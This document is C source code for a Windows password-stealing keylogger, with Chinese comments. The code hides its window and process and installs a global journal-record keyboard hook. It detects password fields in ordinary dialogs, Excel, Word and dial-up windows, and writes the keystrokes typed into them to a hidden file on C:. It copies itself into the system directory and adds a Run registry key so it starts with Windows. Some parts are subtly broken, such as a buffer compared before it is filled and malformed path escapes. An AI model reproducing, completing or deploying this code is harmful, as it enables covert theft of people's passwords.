 #define RUN "http://GmkMon.exe"
 
 
 typedef struct tagKEYDATA{
 char kKey;
 SHORT kShift;
 SHORT kCaps;
 SHORT kNum;
 BOOL bShift;
 BOOL bCaps;
 BOOL bNum;
 }KEYDATA,*LPKEYDATA;
 
 HHOOK hHook=NULL;
 DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD);
 
 LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
 LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam);
 
 BOOL WINAPI HideProc(int mode)
 {
 HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL");
 if(DLLInst)
 {
 RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
 GetProcAddress(DLLInst,"RegisterServiceProcess");
 if(RegisterServiceProcess)
 {
 RegisterServiceProcess(GetCurrentProcessId(),mode);
 return TRUE;
 }
 else
 return FALSE;
 }
 else return FALSE;
 }
 
 
 BOOL WINAPI IsPassWindow()
 {
 HWND hWnd,curHwnd;
 TCHAR szTemp[MAX_PATH];
 DWORD dwsTyle;
 
 hWnd=GetActiveWindow();
 
 if(hWnd==NULL) return FALSE;
 curHwnd =hWnd;
 while(curHwnd!=NULL)
 {
 hWnd=curHwnd;
 curHwnd=GetParent(hWnd);
 }
 
 
 dwsTyle=GetWindowLong(hWnd,GWL_STYLE);
 if(dwsTyle & ES_PASSWORD) //普通密碼框
 return TRUE;
 else if(!lstrcmp(szTemp,"EDTBX")) //Excel密碼
 return TRUE;
 else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU))
 return TRUE; //WORD密碼
 
 GetWindowText(hWnd,szTemp, sizeof(szTemp));
 if(!strncmp(szTemp,"連接到",6)) //撥號網絡
 return TRUE;
 
 return FALSE;
 }
 
 
 TCHAR WINAPI GetKey(int nKey)
 {
 KEYDATA kd;
 
 kd.kShift=GetKeyState(VK_SHIFT);
 kd.kCaps=GetKeyState(0x14);
 kd.kNum=GetKeyState(0x90);
 
 kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;
 kd.bCaps=(kd.kCaps & 1)==1;
 kd.bNum=(kd.kNum & 1)==1;
 
 if(nKey>=48 && nKey<=57)
 if(!kd.bShift) return (kd.kKey=nKey);
 
 if(nKey>=65 && nKey<=90)
 {
 if(!kd.bCaps)
 if(kd.bShift) kd.kKey=nKey;
 else kd.kKey=nKey+32;
 else if (kd.bShift) kd.kKey=nKey+32;
 else kd.kKey=nKey;
 
 return kd.kKey;
 }
 
 if(nKey>=96 && nKey<=105) // 小鍵盤0-9
 if(kd.bNum)
 return (kd.kKey=(nKey-96+48));
 
 
 if(nKey>=186 && nKey<=222) // 其他鍵
 {
 switch(nKey)
 {
 case 186:
 if(!kd.bShift) kd.kKey=';';else kd.kKey=':';
 break;
 
 case 187:
 if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ;
 break;
 
 case 188:
 if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ;
 break;
 
 case 189:
 if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ;
 break;
 
 case 190:
 if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ;
 break;
 
 case 191:
 if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ;
 break;
 
 case 192:
 if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ;
 break;
 
 case 219:
 if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ;
 break;
 
 case 220:
 if (!kd.bShift) kd.kKey='//' ; else kd.kKey='|' ;
 break;
 
 case 221:
 if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ;
 break;
 
 case 222:
 if (!kd.bShift) kd.kKey='//'; else kd.kKey='//';
 break;
 
 default:kd.kKey='n' ;break;
 }
 if(kd.kKey!='n') return kd.kKey;
 }
 
 }
 
 
 void WINAPI WritePassFile(int nKey)
 {
 HANDLE hFile;
 DWORD dwBytesWrite=1;
 TCHAR lpStr,szTemp[MAX_PATH];
 
 hFile=CreateFile("C://passdata.txt",
 GENERIC_READ|GENERIC_WRITE,
 FILE_SHARE_WRITE,
 NULL,
 OPEN_ALWAYS,
 FILE_ATTRIBUTE_HIDDEN,
 NULL
 );
 
 SetFilePointer(hFile,0,NULL,FILE_END);
 lpStr=GetKey(LOBYTE(nKey));
 WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);
 CloseHandle(hFile);
 }
 
 void WINAPI InstallHook(HINSTANCE hInstance)
 {
 if(hHook==NULL)
 hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0);
 }
 
 
 void WINAPI UninstallHook()
 {
 if(hHook!=NULL)
 UnhookWindowsHookEx(hHook);
 }
 
 
 LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam)
 {
 
 EVENTMSG *pMess=(EVENTMSG *)lParam;
 POINT pt;
 
 
 switch(pMess->message)
 {
 case WM_KEYDOWN:
 if(IsPassWindow())
 WritePassFile(LOBYTE(pMess->paramL));
 break;
 
 case WM_LBUTTONDBLCLK:
 GetCursorPos(&pt);
 break;
 }
 
 return CallNextHookEx(hHook,nCode,wParam,lParam);
 }
 
 
 int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
 PSTR szCmdLine, int iCmdShow)
 {
 
 
 HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne");
 if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){
 ExitProcess(1);
 }
 
 static char szAppName[] = "jiajia" ;
 HWND hwnd ;
 MSG msg ;
 WNDCLASSEX wndclass ;
 HKEY hKey=0;
 DWORD disp=0;
 LONG lResult;
 TCHAR szKey[MAX_PATH];
 TCHAR szSysDir[MAX_PATH+25];
 TCHAR szFileName[MAX_PATH];
 
 wndclass.cbSize = sizeof (wndclass) ;
 wndclass.style = CS_HREDRAW | CS_VREDRAW ;
 wndclass.lpfnWndProc = WndProc ;
 wndclass.cbClsExtra = 0 ;
 wndclass.cbWndExtra = 0 ;
 wndclass.hInstance = hInstance ;
 wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;
 wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
 wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
 wndclass.lpszMenuName = NULL ;
 wndclass.lpszClassName = szAppName ;
 wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ;
 
 RegisterClassEx(&wndclass);
 
 hwnd=CreateWindow( szAppName, "jia jia",
 WS_OVERLAPPEDWINDOW,
 CW_USEDEFAULT, CW_USEDEFAULT,
 CW_USEDEFAULT, CW_USEDEFAULT,
 NULL, NULL, hInstance, NULL
 );
 
 ShowWindow(hwnd,SW_HIDE);
 UpdateWindow(hwnd);
 HideProc(SERVICE_PROC);
 InstallHook(hInstance);
 
 GetSystemDirectory(szSysDir,MAX_PATH);
 lstrcat(szSysDir,RUN);
 GetModuleFileName(NULL,szFileName,MAX_PATH);
 CopyFile(szFileName,szSysDir,FALSE);
 
 lstrcpy(szKey,"SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
 lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE,
 szKey,
 0,
 NULL,
 REG_OPTION_VOLATILE,
 KEY_ALL_access,
 NULL,
 &hKey,
 &disp
 );
 
 if(lResult==ERROR_SUCCESS)
 {
 lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir));
 RegCloseKey(hKey);
 }
 
 
 while (GetMessage (&msg, NULL, 0, 0))
 {
 TranslateMessage (&msg) ;
 DispatchMessage (&msg) ;
 }
 return msg.wParam ;
 }
 
 LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
 {
 
 switch (iMsg)
 {
 case WM_PAINT:
 return 0 ;
 
 case WM_DESTROY:
 UninstallHook();
 PostQuitMessage (0) ;
 return 0 ;
 }
 
 return DefWindowProc(hwnd,iMsg,wParam,lParam);
 
 | 
 |